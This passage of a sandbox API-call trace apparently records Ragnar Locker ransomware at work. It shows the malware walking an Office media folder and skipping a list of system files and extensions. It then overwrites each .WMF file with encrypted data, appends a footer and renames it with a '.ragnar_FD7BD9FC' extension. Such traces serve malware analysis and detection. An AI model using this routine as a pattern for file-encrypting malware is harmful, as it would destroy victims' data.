lpString2="ntuser.dat") returned -1 [0095.692] lstrcmpiW (lpString1="J0230876.WMF", lpString2="ntuser.dat.log") returned -1 [0095.692] lstrcmpiW (lpString1="J0230876.WMF", lpString2="ntuser.ini") returned -1 [0095.692] lstrcmpiW (lpString1="J0230876.WMF", lpString2="thumbs.db") returned -1 [0095.692] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.692] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.692] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.692] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.692] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.692] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.692] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf")) returned 0x20 [0095.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.692] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12506) returned 1 [0095.692] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x30d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.692] GetProcessHeap () returned 0x580000 [0095.692] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.693] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.694] VirtualAlloc (lpAddress=0x0, dwSize=0x30da, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.694] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.694] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.694] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30da, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30da, lpOverlapped=0x0) returned 1 [0095.695] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.695] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30da, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.695] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30da, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30da, lpOverlapped=0x0) returned 1 [0095.695] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.696] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.696] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x30da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.696] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.696] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.696] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.696] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.696] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.696] GetProcessHeap () returned 0x580000 [0095.696] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.696] CloseHandle (hObject=0x104) returned 1 [0095.696] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" [0095.697] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.ragnar_FD7BD9FC" [0095.697] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.698] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0095.698] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.698] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0233018.WMF" | out: lpString1="J0233018.WMF") returned="J0233018.WMF" [0095.698] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF") returned=".WMF" [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="autorun.inf") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="boot.ini") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="bootfont.bin") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="bootsect.bak") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="bootmgr") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="bootmgr.efi") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="bootmgfw.efi") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="desktop.ini") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="iconcache.db") returned 1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="ntldr") returned -1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="ntuser.dat") returned -1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="ntuser.dat.log") returned -1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="ntuser.ini") returned -1 [0095.698] lstrcmpiW (lpString1="J0233018.WMF", lpString2="thumbs.db") returned -1 [0095.698] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.698] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.698] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.698] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.698] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.698] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.698] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf")) returned 0x20 [0095.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.699] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30704) returned 1 [0095.699] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x77e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.699] GetProcessHeap () returned 0x580000 [0095.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.699] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.701] VirtualAlloc (lpAddress=0x0, dwSize=0x77f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.701] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.701] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.701] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x77f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x77f0, lpOverlapped=0x0) returned 1 [0095.702] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.702] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x77f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.703] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x77f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x77f0, lpOverlapped=0x0) returned 1 [0095.703] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x77f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.703] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.703] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x77f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.703] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.703] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.703] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.703] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.703] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.703] GetProcessHeap () returned 0x580000 [0095.703] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.703] CloseHandle (hObject=0x104) returned 1 [0095.704] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" [0095.704] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.ragnar_FD7BD9FC" [0095.704] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.704] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0095.704] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.704] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0233070.WMF" | out: lpString1="J0233070.WMF") returned="J0233070.WMF" [0095.704] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF") returned=".WMF" [0095.704] lstrcmpiW (lpString1="J0233070.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.704] lstrcmpiW (lpString1="J0233070.WMF", lpString2="autorun.inf") returned 1 [0095.704] lstrcmpiW (lpString1="J0233070.WMF", lpString2="boot.ini") returned 1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="bootfont.bin") returned 1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="bootsect.bak") returned 1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="bootmgr") returned 1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="bootmgr.efi") returned 1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="bootmgfw.efi") returned 1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="desktop.ini") returned 1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="iconcache.db") returned 1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="ntldr") returned -1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="ntuser.dat") returned -1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="ntuser.dat.log") returned -1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="ntuser.ini") returned -1 [0095.705] lstrcmpiW (lpString1="J0233070.WMF", lpString2="thumbs.db") returned -1 [0095.705] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.705] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.705] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.705] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.705] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.705] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.705] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf")) returned 0x20 [0095.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.707] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5410) returned 1 [0095.707] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1519, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.707] GetProcessHeap () returned 0x580000 [0095.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.707] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.709] VirtualAlloc (lpAddress=0x0, dwSize=0x1522, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.709] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.709] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.709] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1522, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1522, lpOverlapped=0x0) returned 1 [0095.710] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.710] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1522, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.710] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1522, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1522, lpOverlapped=0x0) returned 1 [0095.710] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1522, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.710] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.710] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1522, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.710] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.710] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.710] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.711] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.711] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.711] GetProcessHeap () returned 0x580000 [0095.711] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.711] CloseHandle (hObject=0x104) returned 1 [0095.711] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" [0095.711] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.ragnar_FD7BD9FC" [0095.711] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.712] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0095.712] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.712] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0233312.WMF" | out: lpString1="J0233312.WMF") returned="J0233312.WMF" [0095.712] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF") returned=".WMF" [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="autorun.inf") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="boot.ini") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="bootfont.bin") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="bootsect.bak") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="bootmgr") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="bootmgr.efi") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="bootmgfw.efi") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="desktop.ini") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="iconcache.db") returned 1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="ntldr") returned -1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="ntuser.dat") returned -1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="ntuser.dat.log") returned -1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="ntuser.ini") returned -1 [0095.712] lstrcmpiW (lpString1="J0233312.WMF", lpString2="thumbs.db") returned -1 [0095.712] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.712] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.712] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.712] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.712] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.712] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.712] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf")) returned 0x20 [0095.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program 